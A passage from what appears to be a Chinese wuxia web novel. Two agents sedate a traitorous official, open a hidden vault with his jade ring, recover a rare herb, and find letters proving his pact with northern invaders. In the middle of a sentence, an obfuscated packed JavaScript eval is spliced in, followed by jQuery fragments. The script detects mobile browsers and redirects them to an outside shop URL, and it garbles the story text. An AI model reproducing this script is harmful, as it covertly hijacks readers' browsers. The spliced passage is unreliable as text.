两人再次施展轻功,几个起落便攀上了主院一侧厢房的屋顶。
主院正房灯火通明,隐约能听到里面传来人声。
两人对视一眼,默契的朝着正房方向走去,最终落在正房旁边一处稍矮的书房屋顶上。
这处书房与正房相连,窗户紧闭,里面也亮着灯。
霍衡对图竹做了一个噤声的手势,两人如同壁虎一般贴在瓦面上,屏息凝神,侧耳细听下方的动静。
起初,书房内虽然亮着灯,但是静悄悄的,只有烛火偶尔发出的轻微声音。
就在两人怀疑是否判断有误时,一阵窸窸窣窣的衣料摩擦声和刻意压低的娇笑声忽然传了出来。
“连哥,你可真坏……唔……”一个年轻女子娇嗔的声音,带着几分酥麻入骨的媚意。
紧接着,是一个中年男子低沉带笑的声音,正是贺连,“小妖精,这几日府中事多,冷落你了。”
声音里透着显而易见的狎昵。
屋顶上,霍衡和图竹的表情瞬间变得十分精彩。
霍衡嘴角抽了抽,对着图竹传音入密,“不对啊,高远林的事情按理来说应该传到他耳朵里了,他怎么还这么有闲情逸致?”
“也有可能知道自己死到临头了吧。”图竹语出惊人,“放纵一下。”
下面调笑的声音更暧昧了。
“连哥,到底出了什么事儿啊?让你这么忧愁?”
贺连似乎停顿了一下,语气依旧轻松,但仔细听能察觉一丝紧绷,“没什么,不打紧。”
“可是,人家那天在府内看见个凶神恶煞的人,还狠狠瞪了我一眼,怪瘆人的。”那女子连着追问,声音黏腻。
“嘘!”贺连声音沉了沉,“不说这些了,来做正事。”
接着,便是令人面红耳赤的喘息和低语。
霍衡和图竹趴在屋顶上,听得是又好气又好笑,又觉出些不同寻常的意味。
贺连的反应太不正常了,莫非他和北疆人,当真有着什么勾结?
“现在怎么办?”霍衡无声询问,直接下去打断人家的好事,显然也不太合适。
图竹轻轻从怀中摸出一个小巧的瓶子,倒出两颗黄豆大小的黑色药丸,递了一颗给霍衡,又指了指书房侧面的窗户。
霍衡接过药丸,立刻便认了出来,这是开狱司秘制的“瞌睡虫”。
并非真虫,而是用特殊草药混合而成,燃烧后释放的烟雾有极强的助眠安神效果,且无色无味,极难察觉。
两人会意,霍衡小心翼翼地用匕首尖在瓦片上撬开一道缝隙。图竹则去处随身火折子,点燃了那颗药丸。
药丸遇火即燃,冒出极淡淡青烟,几乎看不见。
霍衡将药丸顺着瓦缝轻轻投入。
做完这一切,两人便屏住呼吸,伏在屋顶静静等候。
约莫过来一盏茶的时间,书房内原本暧昧的声响逐渐平息。
隐约传来鼾声。
“成了。”霍衡无声地咧嘴一笑,轻轻掀开几片瓦,与图竹先后滑入书房。
书房内陈设简单,地上散落着女子的绣鞋和罗袜,屏风后隐约可见床榻轮廓,贺连与一名衣衫不整的年轻女子相拥而卧,均已沉沉睡去。
霍衡和图竹目不斜视,迅速在书房内搜寻起来。
两人动作很轻,一处处搜寻过去,不放过任何坑藏着重要物品的地方。
然而,一番搜查下来,除了寻常书籍、帐本和古玩摆件,并未发现赤阳草的踪迹,也没有找到与那薄绢图腾明显相关的东西。
“不在这里?”
霍衡面露失望,目光扫过沉睡的贺连,忽然灵机一动,走到床边。
只见他左手拇指上戴着一枚造型古朴的玉扳指,扳指内侧似乎刻着细小的纹路。
“这扳指……”霍衡小心翼翼地去摘那枚扳指。扳指戴得很紧,他废了些力气才取了下来。
借着烛光细看,扳指内侧果然刻着几个极其微小的符文,与中原文字大不相同。
“这符文,我好像在古籍里见过类似的,像是某种开启禁制或密室的钥文。”图竹凑近辨认。
霍衡精神一振,“这扳指很可能就是开启存放赤阳草密室的钥匙。”
两人再次环顾书房,目光最终落在了靠墙的一座高大沉重的紫檀木书架之上。那书架与墙壁严丝合缝,看起来并无异常。
霍衡走过去,试着推动书架,纹丝不动。
他示意图竹一起,两人运起内力,再次尝试向两侧或后方推动,书架依然稳固如初。
“不是这样开的。”图竹仔细观察书架边缘和地面,“应该有机关。”
他的目光落在书架侧面一个雕刻成如意云纹的木质把手上。颜色与书架一致,若非仔细观察,极易被忽略。
图竹伸手轻轻按了按,没有反应。他想了想,将刚从贺连手上取下的扳指按在了那云纹把手的凹槽处。
“咔哒”
紧接着,沉重的紫檀木书架缓缓向内凹陷,然后无声地向侧面滑开,露出后面一个仅容一人通过的幽暗洞口。
霍衡和图竹对视一眼,眼中都有喜色。
找到了!
霍衡向图竹打了个手势,自己率先矮身钻了进去。图竹紧随其后,进入后,他回身小心地将书架恢复原状。
洞内是一条向下延伸的石阶,两侧石壁上每隔一段距离便嵌着一颗发出幽光的萤石,光线虽不强烈,但足以视物。
石阶不长,大约二十余级便到了底,眼前豁然开朗,是一间约莫三丈见方的石室。
室内陈设简单,靠墙立着几个乌木架子,上面摆放着一些大小不一的玉盒、瓷瓶和卷轴。中央一张石桌,桌上一盏放着一盏长明灯。
两人对视一眼,便开始翻找起来。
“找到了。”霍衡在孙药老那里见过画像,他声音中带着难以抑制的激动。
图竹快步上前,仔细观察,确认无误后,点了点头:“不错,正是赤阳草。”
两人心中均是一松。
取了赤阳草,两人并未立刻离开。图竹的目光落在了那些乌木架子上。
“既然来了,不妨看看贺连到底还藏了些什么秘密。”
霍衡也正有此意。
两人开始分头查看。架子上多是些罕见的药材
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230029|193916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、矿石,以及一些记载南疆风物、异术的古籍抄本,虽然珍贵,但平平无奇。
直到图竹在一个不起眼的角落里,发现了一个没有标签的陈旧木盒。
木盒上着锁,眼下也来不及寻钥匙了。
图竹想了想,手上用力,干脆用蛮力将其打开。
里面整整齐齐码放着一叠书信。信封已经泛黄,但封口的火漆印依旧清晰可见。
霍衡也凑了过来,两人面色俱是一沉。
图竹迅速取出一封信拆开。信纸上的字迹并非中原常见字体,笔画硬朗转折,透着一股蛮荒之气,用的是北疆文字。
好在霍衡学过北疆文,虽不精通,但也能辨认个大概。
他快速浏览,越看脸色越是凝重。
图竹虽然看不懂北疆文字,但见霍衡神色,也知非同小可,“信上说什么?”
霍衡捏着信纸的手指因用力而微微发白,他深吸一口气,“信上说北疆王庭已秣马厉兵,近期或有猎鹿之举。”
“猎鹿?”图竹眉头紧锁,旋即反应过来,这是北疆人对南侵中原的隐晦代称。
霍衡继续道,“信中言,贺连与北疆早有盟约。北疆许诺,若贺连助他们在武威站稳脚跟,将来便扶植他做武威王,统御西南边陲各族。而贺连需做的一旦北疆大军南下,兵临武威城下时,贺连必须里应外合,设法打开城门,放北疆铁骑入城!”
图竹后背发凉。武威郡乃西北门户,一旦有失,北疆铁骑便可长驱直入,直捣中原腹地,届时山河破碎,生灵涂炭。
“好个贺连!”图竹从牙缝里挤出几个字,“为了一己私欲,竟敢行此叛国灭族之事!”
霍衡快速翻看其他信件,脸色越来越难看,“不止这一封!这些信件时间跨度很长,桩桩件件,皆是绝密。贺连这老贼,早已将武威乃至西北的虚实卖了个干净。”
霍衡将所有信件小心叠好,贴身藏入怀中。这些信件,是贺连通敌叛国的铁证。
“此地一刻也不能多留。”
图竹点头,两人最后检查了一遍密室,确认没有留下明显的翻找痕迹,然后迅速沿着原路返回。
回到书房,贺连与那女子依旧沉睡,霍衡将玉扳指小心地戴回贺连手上,与图竹犹如两道轻烟,翻上屋顶,盖好瓦片。
“走!”
两人身影融入夜色,迅速向着来时的方向返回,掠过花园假山,来到贺连府邸相对偏僻的后院外墙下。
这处外墙比之前他们潜入城时面对的城墙矮了许多,怕惊动了巡查的兵卒,两人伏在墙根,屏息凝神,侧耳听着外面的动静。
巷道寂静,只有微风吹过屋檐的细微声响。
“时机正好。”
两人没有犹豫,几乎同时足下发力,身形轻盈跃起,双手在粗糙的墙砖上借力一按,便已悄无声息地翻上了墙头。如同落叶般飘然而下,稳稳落在墙外的青石板上。
“其实感觉,不钻狗洞也行?”图竹歪头。
霍衡心虚地挠挠鼻子,“嗨,我这不是觉得你可能会喜欢钻狗洞嘛!”
“什么?”
“速回,速回。”